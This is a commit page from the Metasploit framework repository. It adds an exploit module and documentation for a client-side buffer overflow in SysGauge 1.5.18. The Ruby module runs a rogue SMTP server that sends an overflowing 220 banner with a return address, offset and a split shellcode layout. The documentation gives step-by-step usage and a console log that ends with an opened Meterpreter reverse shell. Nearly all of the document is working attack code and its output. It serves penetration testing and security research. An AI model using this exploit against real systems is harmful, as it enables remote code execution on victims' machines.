Skip to content

Commit 1a8e840

Browse files
committed
Land rapid7#8113, SysGauge SMTP server validation sploit
2 parents 686f30e + 7a12e44 commit 1a8e840

File tree

2 files changed

+121
-0
lines changed

2 files changed

+121
-0
lines changed
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
## Vulnerable Application
2+
3+
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
4+
via its SMTP server validation. The module sends a malicious response along in the
5+
220 service ready response and exploits the client, resulting in an unprivileged shell.
6+
7+
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
8+
9+
## Verification Steps
10+
11+
1. Install the application
12+
2. Start msfconsole
13+
3. Do: ```use exploit/windows/smtp/sysgauge_client_bof```
14+
4. Do: ```set payload windows/meterpreter/reverse_tcp```
15+
5. Do: ```set LHOST ip```
16+
6. Do: ```run```
17+
7. The user should put your `SRVHOST` or other applicable IP address in the SMTP configuration
18+
in the program, and hit the "Verify Email ..." button.
19+
8. You should get a shell.
20+
21+
## Scenarios
22+
23+
Here is how to typically execute the module. Note that the client must input this SMTP server
24+
information under SysGauge Options and hit the "Verify Email ..." button.
25+
26+
```
27+
msf > use exploit/windows/smtp/sysgauge_client_bof
28+
msf exploit(sysgauge_client_bof) > set payload windows/meterpreter/reverse_tcp
29+
payload => windows/meterpreter/reverse_tcp
30+
msf exploit(sysgauge_client_bof) > set lhost 10.0.0.1
31+
lhost => 10.0.0.1
32+
msf exploit(sysgauge_client_bof) > exploit
33+
[*] Exploit running as background job.
34+
msf exploit(sysgauge_client_bof) >
35+
[*] Started reverse TCP handler on 10.0.0.1:4444
36+
[*] Server started.
37+
[*] Client connected: 10.0.0.128
38+
[*] Sending payload...
39+
[*] Sending stage (957487 bytes) to 10.0.0.128
40+
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.128:49165) at 2017-03-14 23:15:04 -0500
41+
```
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
#
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
#
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
include Msf::Exploit::Remote::TcpServer
8+
9+
Rank = NormalRanking
10+
11+
def initialize()
12+
super(
13+
'Name' => 'SysGauge SMTP Validation Buffer Overflow',
14+
'Description' => %q{
15+
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
16+
via its SMTP server validation. The module sends a malicious response along in the
17+
220 service ready response and exploits the client, resulting in an unprivileged shell.
18+
},
19+
'Author' =>
20+
[
21+
'Chris Higgins', # msf Module -- @ch1gg1ns
22+
'Peter Baris' # Initial discovery and PoC
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' =>
26+
[
27+
[ 'EDB', '41479' ],
28+
],
29+
'DefaultOptions' =>
30+
{
31+
'EXITFUNC' => 'thread'
32+
},
33+
'Payload' =>
34+
{
35+
'Space' => 306,
36+
'BadChars' => "\x00\x0a\x0d\x20"
37+
},
38+
'Platform' => 'win',
39+
'Targets' =>
40+
[
41+
[ 'Windows Universal',
42+
{
43+
'Offset' => 176,
44+
'Ret' => 0x6527635E # call esp # QtGui4.dll
45+
}
46+
]
47+
],
48+
'Privileged' => false,
49+
'DisclosureDate' => 'Feb 28 2017',
50+
'DefaultTarget' => 0
51+
)
52+
register_options(
53+
[
54+
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
55+
])
56+
end
57+
58+
def on_client_connect(c)
59+
# Note here that the payload must be split into two parts.
60+
# The payload gets jumbled in the stack so we need to split
61+
# and align to get it to execute correctly.
62+
sploit = "220 "
63+
sploit << rand_text(target['Offset'])
64+
# Can only use the last part starting from 232 bytes in
65+
sploit << payload.encoded[232..-1]
66+
sploit << rand_text(2)
67+
sploit << [target.ret].pack('V')
68+
sploit << rand_text(12)
69+
sploit << make_nops(8)
70+
# And the first part up to 232 bytes
71+
sploit << payload.encoded[0..231]
72+
sploit << "ESMTP Sendmail \r\n"
73+
74+
print_status("Client connected: " + c.peerhost)
75+
print_status("Sending payload...")
76+
77+
c.put(sploit)
78+
end
79+
80+
end

0 commit comments

Comments
 (0)